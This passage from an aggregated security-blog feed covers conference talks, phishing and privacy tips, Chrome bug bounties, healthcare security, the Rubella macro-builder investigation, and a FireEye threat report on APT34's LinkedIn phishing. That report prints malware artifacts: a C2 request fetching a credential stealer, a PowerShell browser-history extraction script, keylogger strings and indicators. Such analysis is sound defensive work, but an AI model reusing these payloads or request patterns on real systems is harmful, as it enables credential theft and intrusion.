McKee: As a security researcher, I am always most interested in what new techniques the industry has uncovered to continue to find new vulnerabilities. It’s a constant game between evolving protections and new bypasses. In my session at DEFCON, I hope to convey some of the new methods we have used over the last year. More importantly I hope to highlight how, when researchers work together with vendors, very critical vulnerabilities can be swiftly mitigated.

 Laulheret: My presentation, “Intro to Embedded Hacking—How You, Too, Can Find A Decade-old Bug In Widely Deployed Devices,” is part of the DC 101 track and has the same aspiration of sharing one’s passion. The goal of this track is to get people up to speed on topics they are not familiar with yet. Hardware hacking can be intimidating if you are coming from a software background or if you never had any electronic/electricity classes. What I really want for this session is to show people that hardware hacking is neither hard nor scary, and by learning the basics, they will be able to investigate devices from their day-to-day life, potentially finding previously unknown critical flaws. There’s something extremely empowering in gaining the ability to dissect devices that used to be magic black boxes sitting on your network.

Best ways to catch McAfee at Black Hat & DEF CON:

Speaking Sessions:

Black Hat: Internet of Threats – The Current State of IoT Device Security

Steve Povolny, Head of Advanced Threat Research

Wednesday, August 7 | 12:40pm PT | Business Hall Theater B

 

DEF CON: Intro to Embedded Hacking—How You, Too, Can Find A Decade-old Bug In Widely Deployed Devices

Philippe Laulheret, McAfee Security Researcher

Thursday, August 8 | 1:00pm PT | Paris Theater

 

DEF CON: HVACking: Understand the Difference Between Security and Reality

Douglas McKee, McAfee Senior Security Researcher

Mark Bereza, McAfee Security Researcher

Friday, August 9 | 1:00pm PT | Track 2

 

Booth Presence:

Visit us at Booth #914 and test your hacking skills with our Capture the Flag contest.

 

Be sure to follow @McAfee for real-time updates from the show throughout the week.

The post Black Hat 2019: Q&A with McAfee appeared first on McAfee Blogs.

Downloaded FaceApp? Here’s How Your Privacy Is Now Affected

If you’ve been on social media recently, you’ve probably seen some people in your feed posting images of themselves looking elderly. That’s because FaceApp, an AI face editor that went viral in 2017, is making a major comeback with the so-called FaceApp Challenge — where celebrities and others use the app’s old age filter to add decades onto their photos. While many folks have participated in the fun, there are some concerns about the way that the app operates when it comes to users’ personal privacy.

According to Forbes, over 100,000 million people have reportedly downloaded FaceApp from the Google Play Store and the app is the number one downloaded app on the Apple App Store in 121 different countries. But what many of these users are unaware of is that when they download the app, they are granting FaceApp full access to the photos they have uploaded. The company can then use these photos for their benefit, such as training their AI facial recognition algorithm. And while there is currently nothing to indicate that the app is taking photos for malicious intent, it is important for users to be aware that their personal photos may be used for other purposes beyond the original intent.

So, how can users enjoy the entertainment of apps like FaceApp without sacrificing their privacy? Follow these tips to help keep your personal information secure:

  • Think before you upload. It’s always best to err on the side of caution with any personal data and think carefully about what you are uploading or sharing. A good security practice is to only share personal data, including personal photos, when it’s truly necessary.
  • Update your settings. If you’re concerned about FaceApp having permission to access your photos, it’s time to assess the tools on your smartphone. Check which apps have access to information like your photos and location data. Change permissions by either deleting the app or changing your settings on your device.
  • Understand and read the terms. Consumers can protect their privacy by reading the Privacy Policy and terms of service and knowing who they are dealing with.

And, of course, to stay updated on all of the latest consumer and mobile security threats, follow @McAfee_Home on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.

The post Downloaded FaceApp? Here’s How Your Privacy Is Now Affected appeared first on McAfee Blogs.

How to Spot Phishing Lures

Phishing attacks, in which scammers try to trick you out of your private information or money, are one of the most prevalent threats we see today. Part of the problem is that the cybercriminals have numerous ways in which to hook you, either online, over the phone, or even in person.

In today’s busy world we are often bombarded with information and it can be hard to tell who to trust, and when to be wary. But given that new phishing web pages grew by 900,000 in the third-quarter of 2018 alone, costing consumers and businesses potentially billions of dollars, it’s worth learning more about common phishing lures and how to avoid them. After all, most malware is delivered by phishing attacks, and malware grew by a stunning 53% in the third quarter of last year.

The first thing you should know about phishing is that it almost always involves a form of “social engineering”, in which the scammer tries to manipulate you into trusting them for fraudulent purposes, often by pretending to be a legitimate person or business.

You can get a better idea of how this works by learning about some of the most popular threats circulating today, the first of which are a growing number of business-related scams:

  • The CEO/Executive Scam—This scam appears as an email from a leader in your organization, asking for highly sensitive information like company accounts, employee salaries and Social Security numbers, or even sensitive client information.The hackers “spoof”, or fake, the executive’s email address so it looks like a legitimate internal company email. That’s what makes this, and the other business scams, so convincing—the lure is that you want to do your job well and please your coworkers.
  • The Business Entity Scam—This one targets corporations with the clever trick of filing phony Statements of Information with the Secretary of State using the government’s website. The fraudsters then use these doctored statements to apply for hard money loans, using them to prove they have assets. This scam works because the states don’t double check corporate statements for accuracy.
  • File Sharing & DocuSign—Phony requests to access files in Dropbox accounts are on the rise, tricking workers into clicking on dangerous links that download malware. There has also been a rash of threats masquerading as requests to electronically sign documents, pretending to be legitimate services like DocuSign, which is often used for real estate and other important transactions.
  • The Urgent Email Attachment—Phishing emails that try to trick you into downloading a dangerous attachment that can potentially infect your computer and steal your private information have been around for a long time. This is because they work. You’ve probably received emails asking you to download attachments confirming a package delivery, trip itinerary, or prize. They might urge you to “respond immediately!” The lure here is offering you something you want, and invoking a sense of urgency to get you to click.
  • The “Lucky” Phone Call—How fortunate! You’ve won a free gift, an exclusive service, or a great deal on a trip to Las Vegas. Just remember, whatever “limited time offer” you’re being sold, it’s probably a phishing scam designed to get you to give up your credit card number or identity information. The lure here is something free or exciting at what appears to be little or no cost to you.
  • The Romance Scam—This one can happen completely online, over the phone, or in person once contact is established. But the romance scam always starts with someone supposedly looking for love. The scammer often puts a phony ad online, or poses as a friend-of-a-friend on social media and contacts you directly. But what starts as the promise of love or partnership, often leads to requests for money or pricey gifts. The lure here is simple—love and acceptance.
  • The Mobile Phish—Our heavy use of mobile devices have given scammers yet another avenue of attack. They may distribute fake mobile apps that secretly gather your personal information in the background, or they could send phony text messages, inviting you to click on a dangerous link. Either way, you may be misled by a false sense of trust in who has access to your mobile device. In this case, you may be lured by the convenience of an app, or expediency of a message.

Here are some more smart ways not to get hooked:

  • Be wary of anyone who asks for more information than they need, even if you are talking to a company or bank you do business with.
  • When responding to a message, first check to see if you recognize the sender’s name and email address.
  • Before clicking on a link, hover over it to see if the URL address looks legitimate.
  • Before logging into an online account, make sure the web address is correct.
    Phishers often forge legitimate websites, like online storage accounts, hoping to trick you into entering your login details.
  • Avoid “free” offers, or deals that sound too good to be true. They probably are.
  • Review your bank statements and business filings on a regular basis to check for suspicious activities.
  • Always use comprehensive security software to protect your devices and information from malware and other threats that might result from a phishing scam.

Looking for more mobile security tips and trends? Be sure to follow @McAfee Home on Twitter, and like us on Facebook.

 

The post How to Spot Phishing Lures appeared first on McAfee Blogs.

Bigger Rewards for Security Bugs

Chrome has always been built with security at its core, by a passionate worldwide community as part of the Chromium open source project. We're proud that community includes world class security researchers who help defend Chrome, and other Chromium based browsers.

Back in 2010 we created the Chrome Vulnerability Rewards Program which provides cash rewards to researchers for finding and reporting security bugs that help keep our users safe. Since its inception the program has received over 8,500 reports and paid out over five million dollars! A big thank you to every one of the researchers - it's an honor working with you.

Over the years we've expanded the program, including rewarding full chain exploits on Chrome OS, and the Chrome Fuzzer Program, where we run researchers' fuzzers on thousands of Google cores and automatically submit bugs they find for reward.

Today, we're delighted to announce an across the board increase in our reward amounts! Full details can be found on our program rules page but highlights include tripling the maximum baseline reward amount from $5,000 to $15,000 and doubling the maximum reward amount for high quality reports from $15,000 to $30,000. The additional bonus given to bugs found by fuzzers running under Chrome Fuzzer Program is also doubling to $1,000.

We've also clarified what we consider a high quality report, to help reporters get the highest possible reward, and we've updated the bug categories to better reflect the types of bugs that are reported and that we are most interested in.

But that's not all! On Chrome OS we're increasing our standing reward to $150,000 for exploit chains that can compromise a Chromebook or Chromebox with persistence in guest mode. Security bug in firmware and lock screen bypasses also get their own reward categories.

These new reward amounts will apply to bugs submitted after today on the Chromium bug tracker using the Security template. As always, see the Chrome Vulnerability Reward Program Rules for full details about the program.

In other news, our friends over at the Google Play Security Reward Program have increased their rewards for remote code execution bugs from $5,000 to $20,000, theft of insecure private data from $1,000 to $3,000, and access to protected app components from $1,000 to $3,000. The Google Play Security Reward Program also pays bonus rewards for responsibly disclosing vulnerabilities to participating app developers. Check out the program to learn more and see which apps are in scope.

Happy bug hunting!

Data Privacy and Security Risks in Healthcare

Healthcare is a business much like all verticals I work with; however, it has a whole different set of concerns beyond those of traditional businesses. The compounding threats of malware, data thieves, supply chain issues, and the limited understanding of security within healthcare introduces astronomical risk. Walking through a hospital a few weeks ago, I was quickly reminded of how many different devices are used in healthcare—CT scanners, traditional laptops, desktops, and various other devices that could be classified as IoT.

Sitting in the hospital, I witnessed people reporting for treatment being required to sign and date various forms electronically. Then, on a fixed-function device, patients were asked to provide a palm scan for additional biometric confirmation. Credit card information, patient history, and all sorts of other data was also exchanged. In my opinion, patients should be asking, “Once the sign-in process is complete, where is the patient data stored, and who has access to it? Is it locked away, encrypted, or sent to the “cloud” where it’s stored and retrieved as necessary? If it’s stored on the cloud, who has access to that?” I do recall seeing a form asking that I consent to releasing records electronically, but that brings up a whole new line of questions. I could go on and on …

Are these challenges unique to healthcare? I would contend that at some level, no, they’re not. Every vertical I work with has compounding pressures based on the ever-increasing attack surface area. More devices mean more potential vulnerabilities and risk. Think about your home: You no doubt have internet access through a device you don’t control, a router, and many other devices attached to that network. Each device generally has a unique operating system with its own set of capabilities and with its own set of complexities. Heck, my refrigerator has an IP address associated with it these days! In healthcare, the risks are the same, but on a bigger scale. There are lives at stake, and the various staff members—from doctors, to nurses, to administrators—are there to hopefully focus on the patient and the experience. They don’t have the time or necessarily the education to understand the threat landscape—they simply need the devices and systems in the hospital network to “just work.”

Many times, I see doctors in hospital networks and clinics get fed up with having to enter and change passwords. As a result, they’ll bring in their personal laptops to bypass what IT security has put in place. Rogue devices have always been an issue, and since those devices are accessing patient records without tight security controls, they are a conduit for data loss. Furthermore, that data is being accessed from outside the network using cloud services. Teleradiology is a great example of how many different access points there are for patient data—from the referring doctor, to the radiologist, to the hospital, and more.

Figure 1:  Remote Tele-radiology Architecture

With healthcare, as in most industries, the exposure risk is potentially great. The solution, as always, will come from identifying the most important thing that needs to be protected, and figuring out the best way to safeguard it. In this case, it is patient data, but that data is not just sitting locked up in a file cabinet in the back of the office anymore. The data is everywhere—it’s on laptops, mobile devices, servers, and now more than ever in cloud services such as IaaS, PaaS and SaaS. Fragmented data drives great uncertainty as to where the data is and who has access to it.

The security industry as a whole needs to step up. There is a need for a unified approach to healthcare data. No matter where it sits, there needs to be some level of technical control over it based on who needs access to it. Furthermore, as that data is traversing between traditional data centers and the cloud, we need to be able to track where it is and whether or not it has the right permissions assigned to it.

The market has sped up, and new trends in technology are challenging organizations every day. In order to help you keep up, McAfee for Healthcare (and other verticals) are focusing on the following areas:

  • Device – OS platforms—including mobile devices, Chrome Books and IoT—are increasingly locked down, but the steadily increasing number of devices provides other avenues for attack and data loss.
  • Network – Networks are becoming more opaque. HTTP is rarely used anymore in favor of HTTPS, so the need for a CASB safety net is essential in order to see the data stored with services such as Box or OneDrive.
  • Cloud – With workloads increasingly moving to the cloud, the traditional datacenter has been largely replaced by IaaS and PaaS environments. Lines of business are moving to the cloud with little oversight from the security teams.
  • Talent – Security expertise is extremely difficult to find. The talent shortage is real, particularly when it comes to cloud and cloud security. There is also a major shortage in quality security professionals capable of threat hunting and incident response.

McAfee has a three-pronged approach to addressing and mitigating these concerns:

  • Platform Approach – Unified management and orchestration with a consistent user experience and differentiated insights, delivered in the cloud.
    • To enhance the platform, there is a large focus on Platform Driven Managed Services—focused on selling outcomes, not just technology.
  • Minimized Device Footprint – Powerful yet minimally invasive protection, detection and response spanning full-stack tech, native engine management and ‘as a service’ browser isolation. This is becoming increasingly important as the typical healthcare environment has an increasing variety of endpoints but continues to be limited in resources such as RAM and CPU.
  • Unified Cloud Security – Spanning data centers, integrated web gateway/SaaS, DLP and CASB. The unification of these technologies provides a safety net for data moving to the cloud, as well as the ability to enforce controls as data moves from on-premise to cloud services. Furthermore, the unification of DLP and CASB offers a “1 Policy” for both models, making administration simpler and more consistent. Consistent policy definition and enforcement is ideal for healthcare, where patient data privacy is essential.

In summary, security in healthcare is a complex undertaking. A vast attack surface area, the transformation to cloud services, the need for data privacy and the talent shortage compound the overall problem of security in healthcare. At McAfee, we plan to address these issues through innovative technologies that offer a consistent way to define policy by leveraging a superior platform. We’re also utilizing sophisticated machine learning to simplify the detection of and response to bad actors and malware. These technologies are ideal for healthcare and will offer any healthcare organization long-term stability across the spectrum of security requirements.

The post Data Privacy and Security Risks in Healthcare appeared first on McAfee Blogs.

Hard Pass: Declining APT34’s Invite to Join Their Professional Network

Background

With increasing geopolitical tensions in the Middle East, we expect Iran to significantly increase the volume and scope of its cyber espionage campaigns. Iran has a critical need for strategic intelligence and is likely to fill this gap by conducting espionage against decision makers and key organizations that may have information that furthers Iran's economic and national security goals. The identification of new malware and the creation of additional infrastructure to enable such campaigns highlights the increased tempo of these operations in support of Iranian interests.

FireEye Identifies Phishing Campaign

In late June 2019, FireEye identified a phishing campaign conducted by APT34, an Iranian-nexus threat actor. Three key attributes caught our eye with this particular campaign:

  1. Masquerading as a member of Cambridge University to gain victims’ trust to open malicious documents,
  2. The usage of LinkedIn to deliver malicious documents,
  3. The addition of three new malware families to APT34’s arsenal.

FireEye’s platform successfully thwarted this attempted intrusion, stopping a new malware variant dead in its tracks. Additionally, with the assistance of our FireEye Labs Advanced Reverse Engineering (FLARE), Intelligence, and Advanced Practices teams, we identified three new malware families and a reappearance of PICKPOCKET, malware exclusively observed in use by APT34. The new malware families, which we will examine later in this post, show APT34 relying on their PowerShell development capabilities, as well as trying their hand at Golang.

APT34 is an Iran-nexus cluster of cyber espionage activity that has been active since at least 2014. They use a mix of public and non-public tools to collect strategic information that would benefit nation-state interests pertaining to geopolitical and economic needs. APT34 aligns with elements of activity reported as OilRig and Greenbug, by various security researchers. This threat group has conducted broad targeting across a variety of industries operating in the Middle East; however, we believe APT34's strongest interest is gaining access to financial, energy, and government entities.

Additional research on APT34 can be found in this FireEye blog post, this CERT-OPMD post, and this Cisco post.

Managed Defense also initiated a Community Protection Event (CPE) titled “Geopolitical Spotlight: Iran.” This CPE was created to ensure our customers are updated with new discoveries, activity and detection efforts related to this campaign, along with other recent activity from Iranian-nexus threat actors to include APT33, which is mentioned in this updated FireEye blog post.

Industries Targeted

The activities observed by Managed Defense, and described in this post, were primarily targeting the following industries:

  • Energy and Utilities
  • Government
  • Oil and Gas

Utilizing Cambridge University to Establish Trust

On June 19, 2019, FireEye’s Managed Defense Security Operations Center received an exploit detection alert on one of our FireEye Endpoint Security appliances. The offending application was identified as Microsoft Excel and was stopped immediately by FireEye Endpoint Security’s ExploitGuard engine. ExploitGuard is our behavioral monitoring, detection, and prevention capability that monitors application behavior, looking for various anomalies that threat actors use to subvert traditional detection mechanisms. Offending applications can subsequently be sandboxed or terminated, preventing an exploit from reaching its next programmed step.

The Managed Defense SOC analyzed the alert and identified a malicious file named System.doc (MD5: b338baa673ac007d7af54075ea69660b), located in C:\Users\<user_name>\.templates. The file System.doc is a Windows Portable Executable (PE), despite having a "doc" file extension. FireEye identified this new malware family as TONEDEAF.

A backdoor that communicates with a single command and control (C2) server using HTTP GET and POST requests, TONEDEAF supports collecting system information, uploading and downloading of files, and arbitrary shell command execution. When executed, this variant of TONEDEAF wrote encrypted data to two temporary files – temp.txt and temp2.txt – within the same directory of its execution. We explore additional technical details of TONEDEAF in the malware appendix of this post.

Retracing the steps preceding exploit detection, FireEye identified that System.doc was dropped by a file named ERFT-Details.xls. Combining endpoint- and network-visibility, we were able to correlate that ERFT-Details.xls originated from the URL http://www.cam-research-ac[.]com/Documents/ERFT-Details.xls. Network evidence also showed the access of a LinkedIn message directly preceding the spreadsheet download.

Managed Defense reached out to the impacted customer’s security team, who confirmed the file was received via a LinkedIn message. The targeted employee conversed with "Rebecca Watts", allegedly employed as "Research Staff at University of Cambridge". The conversation with Ms. Watts, provided in Figure 1, began with the solicitation of resumes for potential job opportunities.


Figure 1: Screenshot of LinkedIn message asking to download TONEDEAF

This is not the first time we’ve seen APT34 utilize academia and/or job offer conversations in their various campaigns. These conversations often take place on social media platforms, which can be an effective delivery mechanism if a targeted organization is focusing heavily on e-mail defenses to prevent intrusions.

FireEye examined the original file ERFT-Details.xls, which was observed with at least two unique MD5 file hashes:

  • 96feed478c347d4b95a8224de26a1b2c
  • caf418cbf6a9c4e93e79d4714d5d3b87

A snippet of the VBA code, provided in Figure 2, creates System.doc in the target directory from base64-encoded text upon opening.


Figure 2: Screenshot of VBA code from System.doc

The spreadsheet also creates a scheduled task named "windows update check" that runs the file C:\Users\<user_name>\.templates\System Manager.exe every minute. Upon closing the spreadsheet, a final VBA function will rename System.doc to System Manager.exe. Figure 3 provides a snippet of VBA code that creates the scheduled task, clearly obfuscated to avoid simple detection.


Figure 3: Additional VBA code from System.doc

Upon first execution of TONEDEAF, FireEye identified a callback to the C2 server offlineearthquake[.]com over port 80.

The FireEye Footprint: Pivots and Victim Identification

After identifying the usage of offlineearthquake[.]com as a potential C2 domain, FireEye’s Intelligence and Advanced Practices teams performed a wider search across our global visibility. FireEye’s Advanced Practices and Intelligence teams were able to identify additional artifacts and activity from the APT34 actors at other victim organizations. Of note, FireEye discovered two additional new malware families hosted at this domain, VALUEVAULT and LONGWATCH. We also identified a variant of PICKPOCKET, a browser credential-theft tool FireEye has been tracking since May 2018, hosted on the C2.

Requests to the domain offlineearthquake[.]com could take multiple forms, depending on the malware’s stage of installation and purpose. Additionally, during installation, the malware retrieves the system and current user names, which are used to create a three-character “sys_id”. This value is used in subsequent requests, likely to track infected target activity. URLs were observed with the following structures:

  • hxxp[://]offlineearthquake[.]com/download?id=<sys_id>&n=000
  • hxxp[://]offlineearthquake[.]com/upload?id=<sys_id>&n=000
  • hxxp[://]offlineearthquake[.]com/file/<sys_id>/<executable>?id=<cmd_id>&h=000
  • hxxp[://]offlineearthquake[.]com/file/<sys_id>/<executable>?id=<cmd_id>&n=000

The first executable identified by FireEye on the C2 was WinNTProgram.exe (MD5: 021a0f57fe09116a43c27e5133a57a0a), identified by FireEye as LONGWATCH. LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Window’s temp folder. Further information regarding LONGWATCH is detailed in the Malware Appendix section at the end of the post.

FireEye Network Security appliances also detected the following being retrieved from APT34 infrastructure (Figure 4).

GET hxxp://offlineearthquake.com/file/<sys_id>/b.exe?id=<3char_redacted>&n=000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0)
AppleWebKit/537.36 (KHTML, like Gecko)
Host: offlineearthquake[.]com
Proxy-Connection: Keep-Alive Pragma: no-cache HTTP/1.1

Figure 4: Snippet of HTTP traffic retrieving VALUEVAULT; detected by FireEye Network Security appliance

FireEye identifies b.exe (MD5: 9fff498b78d9498b33e08b892148135f) as VALUEVAULT.

VALUEVAULT is a Golang compiled version of the "Windows Vault Password Dumper" browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel.

VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites. Further information regarding VALUEVAULT can be found in the appendix below.

Further pivoting from FireEye appliances and internal data sources yielded two additional files, PE86.dll (MD5: d8abe843db508048b4d4db748f92a103) and PE64.dll (MD5: 6eca9c2b7cf12c247032aae28419319e). These files were analyzed and determined to be 64- and 32-bit variants of the malware PICKPOCKET, respectively.

PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome, Firefox, and Internet Explorer to a file. This tool was previously observed during a Mandiant incident response in 2018 and, to date, solely utilized by APT34.

Conclusion

The activity described in this blog post presented a well-known Iranian threat actor utilizing their tried-and-true techniques to breach targeted organizations. Luckily, with FireEye’s platform in place, our Managed Defense customers were not impacted. Furthermore, upon the blocking of this activity, FireEye was able to expand upon the observed indicators to identify a broader campaign, as well as the use of new and old malware.

We suspect this will not be the last time APT34 brings new tools to the table. Threat actors are often reshaping their TTPs to evade detection mechanisms, especially if the target is highly desired. For these reasons, we recommend organizations remain vigilant in their defenses, and remember to view their environment holistically when it comes to information security.

Malware Appendix

TONEDEAF

TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS. Supported commands include system information collection, file upload, file download, and arbitrary shell command execution. Although this backdoor was coded to be able to communicate with DNS requests to the hard-coded Command and Control server, c[.]cdn-edge-akamai[.]com, it was not configured to use this functionality. Figure 5 provides a snippet of the assembly CALL instruction of dns_exfil. The creator likely made this as a means for future DNS exfiltration as a plan B.


Figure 5: Snippet of code from TONEDEAF binary

Aside from not being enabled in this sample, the DNS tunneling functionality also contains missing values and bugs that prevent it from executing properly. One such bug involves determining the length of a command response string without accounting for Unicode strings. As a result, a single command response byte is sent when, for example, the malware executes a shell command that returns Unicode output. Additionally, within the malware, an unused string contained the address 185[.]15[.]247[.]154.

VALUEVAULT

VALUEVAULT is a Golang compiled version of the “Windows Vault Password Dumper” browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel.

VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites. A snippet of this function is shown in Figure 6.

powershell.exe /c "function get-iehistory {. [CmdletBinding()]. param (). . $shell = New-Object -ComObject Shell.Application. $hist = $shell.NameSpace(34). $folder = $hist.Self. . $hist.Items() | . foreach {. if ($_.IsFolder) {. $siteFolder = $_.GetFolder. $siteFolder.Items() | . foreach {. $site = $_. . if ($site.IsFolder) {. $pageFolder = $site.GetFolder. $pageFolder.Items() | . foreach {. $visit = New-Object -TypeName PSObject -Property @{ . URL = $($pageFolder.GetDetailsOf($_,0)) . }. $visit. }. }. }. }. }. }. get-iehistory

Figure 6: Snippet of PowerShell code from VALUEVAULT to extract browser credentials

Upon execution, VALUEVAULT creates a SQLITE database file in the AppData\Roaming directory under the context of the user account it was executed by. This file is named fsociety.dat and VALUEVAULT will write the dumped passwords to this in SQL format. This functionality is not in the original version of the “Windows Vault Password Dumper”. Figure 7 shows the SQL format of the fsociety.dat file.


Figure 7: SQL format of the VALUEVAULT fsociety.dat SQLite database

VALUEVAULT’s function names are not obfuscated and are directly reviewable in strings analysis. Other developer environment variables were directly available within the binary as shown below. VALUEVAULT does not possess the ability to perform network communication, meaning the operators would need to manually retrieve the captured output of the tool.

C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/new_edge.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/mozila.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/main.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/ie.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/Chrome Password Recovery.go

Figure 8: Golang files extracted during execution of VALUEVAULT

LONGWATCH

FireEye identified the binary WinNTProgram.exe (MD5:021a0f57fe09116a43c27e5133a57a0a) hosted on the malicious domain offlineearthquake[.]com. FireEye identifies this malware as LONGWATCH. The primary function of LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Windows temp folder.

Interesting strings identified in the binary are shown in Figure 9.

GetAsyncKeyState
>---------------------------------------------------\n\n
c:\\windows\\temp\\log.txt
[ENTER]
[CapsLock]
[CRTL]
[PAGE_UP]
[PAGE_DOWN]
[HOME]
[LEFT]
[RIGHT]
[DOWN]
[PRINT]
[PRINT SCREEN] (1 space)
[INSERT]
[SLEEP]
[PAUSE]
\n---------------CLIPBOARD------------\n
\n\n >>>  (2 spaces)
c:\\windows\\temp\\log.txt

Figure 9: Strings identified in a LONGWATCH binary

Detecting the Techniques

FireEye detects this activity across our platforms, including named detection for TONEDEAF, VALUEVAULT, and LONGWATCH. Table 2 contains several specific detection names that provide an indication of APT34 activity.

Signature Name

FE_APT_Keylogger_Win_LONGWATCH_1

FE_APT_Keylogger_Win_LONGWATCH_2

FE_APT_Keylogger_Win32_LONGWATCH_1

FE_APT_HackTool_Win_PICKPOCKET_1

FE_APT_Trojan_Win32_VALUEVAULT_1

FE_APT_Backdoor_Win32_TONEDEAF

TONEDEAF BACKDOOR [DNS]

TONEDEAF BACKDOOR [upload]

TONEDEAF BACKDOOR [URI]

Table 1: FireEye Platform Detections

Endpoint Indicators

Indicator

MD5 Hash (if applicable)

Code Family

System.doc

b338baa673ac007d7af54075ea69660b

TONEDEAF

 

50fb09d53c856dcd0782e1470eaeae35

TONEDEAF

ERFT-Details.xls

96feed478c347d4b95a8224de26a1b2c

TONEDEAF DROPPER

 

caf418cbf6a9c4e93e79d4714d5d3b87

TONEDEAF DROPPER

b.exe

9fff498b78d9498b33e08b892148135f

VALUEVAULT

WindowsNTProgram.exe

021a0f57fe09116a43c27e5133a57a0a

LONGWATCH

PE86.dll

d8abe843db508048b4d4db748f92a103

PICKPOCKET

PE64.dll

6eca9c2b7cf12c247032aae28419319e

PICKPOCKET

Table 2: APT34 Endpoint Indicators from this blog post

Network Indicators

hxxp[://]www[.]cam-research-ac[.]com

offlineearthquake[.]com

c[.]cdn-edge-akamai[.]com

185[.]15[.]247[.]154

Acknowledgements

A huge thanks to Delyan Vasilev and Alex Lanstein for their efforts in detecting, analyzing and classifying this APT34 campaign. Thanks to Matt Williams, Carlos Garcia and Matt Haigh from the FLARE team for the in-depth malware analysis.

IDG Contributor Network: Brand reputation at risk

The world is going digital at an unprecedented pace. Established business models are reaching the end of their life cycle. New market entrants are disruptively entering the arena with asset-light balance sheets, build upon platforms and apps, which turn the dynamics of competition upside-down. Technology, media and entertainment, and telco (TMT) companies are at the forefront of this wave.

Although many TMT companies are leaders in digital transformation, they arguably more vulnerable to cyber-attacks than other industries, with the consequences of a breach more serious as highlighted in EY’s GISS 2018-19. Unlike the global panel, this excerpt focuses on consolidated findings from TMT companies.

To read this article in full, please click here

McAfee ATR Aids Police in Arrest of the Rubella and Dryad Office Macro Builder Suspect

Everyday thousands of people receive emails with malicious attachments in their email inbox. Disguised as a missed payment or an invoice, a cybercriminal sender tries to entice a victim to open the document and enable the embedded macro. This macro then proceeds to pull in a whole array of nastiness and infect a victim’s machine. Given the high success rate, malicious Office documents remain a preferred weapon in a cyber criminal’s arsenal. To take advantage of this demand and generate revenue, some criminals decided to create off-the-shelf toolkits for building malicious Office documents. These toolkits are mostly offered for sale on underground cybercriminal forums.

Announced today, the Dutch National High-Tech Crime Unit (NHTCU) arrested an individual suspected of building and selling such a criminal toolkit named the Rubella Macro Builder. McAfee Advanced Threat Research spotted the Rubella toolkit in the wild some time ago and was able to provide NHTCU with insights that proved crucial in its investigation. In the following blog we will explain some of the details we found that helped unmask the suspected actor behind the Rubella Macro Builder.

What is an Office Macro Builder?

An Office Macro Builder is a toolkit designed to weaponize an Office document so it can deliver a malicious payload by the use an obfuscated macro code that purposely tries to bypass endpoint security defenses. By using a toolkit dedicated to this purpose, an actor can push out higher quantities of malicious documents and successfully outsource the first stage evasion and delivery process to a specialized third party. Below is an overview with the general workings of an Office Macro Builder. The Defense evasion shown here is specific to Rubella Office Macro Builder. Additional techniques can be found in other builders.

Dutch Language OpSec fail….

Rubella Macro Builder is such a toolkit and was offered by an actor by the same nickname “Rubella”. The toolkit was marketed with colorful banners on different underground forums. For the price of 500 US Dollars per month you could use his toolkit to weaponize Office documents that bypass end-point security systems and deliver a malicious payload or run a PowerShell Code of your choice.

Rubella advertisement banner

In one of Rubella’s forum postings the actor was detailing the toolkit and that it managed to bypass the Windows Anti Malware Scan Interface (AMSI) present in Windows 10. To prove this success, the post contained a link to a screenshot. Being a Dutch researcher, this screenshot immediately stood out because of the Dutch version of Microsoft Word that was used. Dutch is a very uncommon language, only a small percentage of the world’s population speaks it, let alone an even smaller percentage of cybercriminals who use it.

The linked screenshot with the Dutch version of Microsoft Word.

Interestingly enough we reported last year on the individuals behind Coinvault ransomware. One of the reasons they got caught was the use of flawless Dutch in their code. With this in the back of our minds we decided to go deeper down the rabbit hole.

Forum Research

We looked further into the large amount of posts by Rubella to learn more about the person behind the builder. The actor Rubella was actually promoting a variety of different, some self-written, products and services, ranging from (stolen) credit card data, a crypto wallet stealer and a malicious loader software to a newly pitched product called Tantalus ransomware-as-a-service.

During our research we were able to link different nicknames used by the actor on several forums across a timespan of many years. Piecing it all together, Rubella showed a classic growth pattern of an aspiring cybercriminal, started by gaining technical security knowledge on beginner forums with low op-sec and gradually moved to some of the bigger, exclusive forums to offer products and services.

PDB path Breitling

One of the posts Rubella placed on a popular hacker forum was promoting a piece of free software the actor coded to spoof email. The posting contained a link to VirusTotal and included a SHA-256 hash of the software. This gained our interest since it provided a possibility to link the adversary to the capability.

Email spoofer posting including the VirusTotal link 

Closer examination of the piece of software on VirusTotal showed that the mail Spoofer contained a debug or PDB path “C:\Users\Breitling”. Even though the username Breitling isn’t very revealing about an actual person, leaving such a specific PDB path within malware is a classic mistake.

By pivoting on the specific PDB path we found additional samples on VirusTotal, including a file that was named RubellaBuilder.exe, which was a version of the Macro builder that Rubella was offering. Later in the blog post we will take a closer look at the builder itself.

Finding additional samples with the Breitling PDB path

Since Breitling was most likely the username used on the development machine, we were wondering if we could find Office documents that were crafted on the same machine and thus also containing the author name Breitling. We found an Office document with Breitling as author and the document happened to be created with a Dutch version of Microsoft Word.

The Word document containing the author name Breitling.

Closer inspection of the content of the Word document revealed that it also contained a string with the familiar Jabber account of Rubella; Rubella(@)exploit.im.

The Malicious document containing the string with the actor’s jabber account.

Circling back to the forums we found an older posting under one of the nicknames we could link to Rubella. In this posting the actor is asking for advice on how to add a registry key using C#. They placed another screenshot to show the community what they were doing. This behavior clearly shows a lack of skill but at the same time his thirst for knowledge.

Older posting where the actor asks for help.

A closer look at the screenshot revealed the same PDB path C:\Users\Breitling\.

Screenshot with the Breitling PDB path

Chatting with Rubella

